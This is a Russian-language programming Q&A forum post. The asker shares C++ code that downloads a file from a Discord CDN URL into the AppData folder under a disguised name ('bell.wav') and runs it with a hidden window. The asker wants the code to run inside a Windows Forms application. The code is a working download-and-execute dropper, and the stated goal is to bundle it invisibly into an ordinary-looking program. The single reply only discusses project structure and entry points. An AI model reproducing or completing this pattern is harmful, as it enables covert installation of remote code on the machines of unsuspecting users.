frh
@frh
Ну тупой с кем не бывает

Что делать, если не открывается приложения Windows Form?

У меня есть код который скачивает и открывает приложение. Я добавил его в свое приложение на Windows Form. Точка входа стоит main. Сам код для скачивания и открытия:

#define _CRT_SECURE_NO_WARNINGS // компилируем код, несмотря на ошибки
#include <iostream> // стандартные библиотеки C++
#include <urlmon.h> // для скачки файла URLDownloadToFile();
#include <tchar.h>

#pragma comment (lib, "Shell32.lib")
#pragma comment (lib, "urlmon.lib") // для скачки файла URLDownloadToFile();


int main()
{

    std::string appdata = getenv("APPDATA"); // получаем папку "appdat
    appdata += "\\bell.wav"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое
    HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/710629557765406731/804365368336449586/bell.wav", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки

    if (hr == S_OK) // если наша, программа скачана, то
    {
        ShellExecuteA(NULL, "open", appdata.c_str(), NULL, NULL, SW_HIDE); // открываем его
    }
}

и вот сам код windows form:

#include "MyForm.h"

using namespace System;
using namespace System::Windows::Forms;

[STAThread]
void main(array<String^>^ arg) {
    Application::EnableVisualStyles();
    Application::SetCompatibleTextRenderingDefault(false);

    Project6::MyForm form; 
    Application::Run(% form);
}

И при компиляции и открытии Windows Form просто не открывается, запускается одна скачка и открытие
Думаю из-за того что у меня две точки входа main
Скажите, можно ли как-то сделать чтобы и программа windows form'a и скачка и открытие запускалось?
  • Вопрос задан
  • 178 просмотров
Пригласить эксперта
Ответы на вопрос 2
@rPman
я тут вижу два разных языка - c++ и manged c (на нем написано приложение win form)

выбор языка определяется в момент создания проекта, именно это определяет как это будет запускаться

если же у тебя два проекта в solution то там же есть настройка, какой запускать

p.s. чтобы из одного проекта вызывать код другого, этот другой должен быть библиотекой dll (повторяю, отдельный проект в солюшне), там и точка входа называется по другому

пример доки, как вызывать из managed кода unmanaged (тот что ты на c++ хочешь)
Ответ написан
yarosroman
@yarosroman
C# the best
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы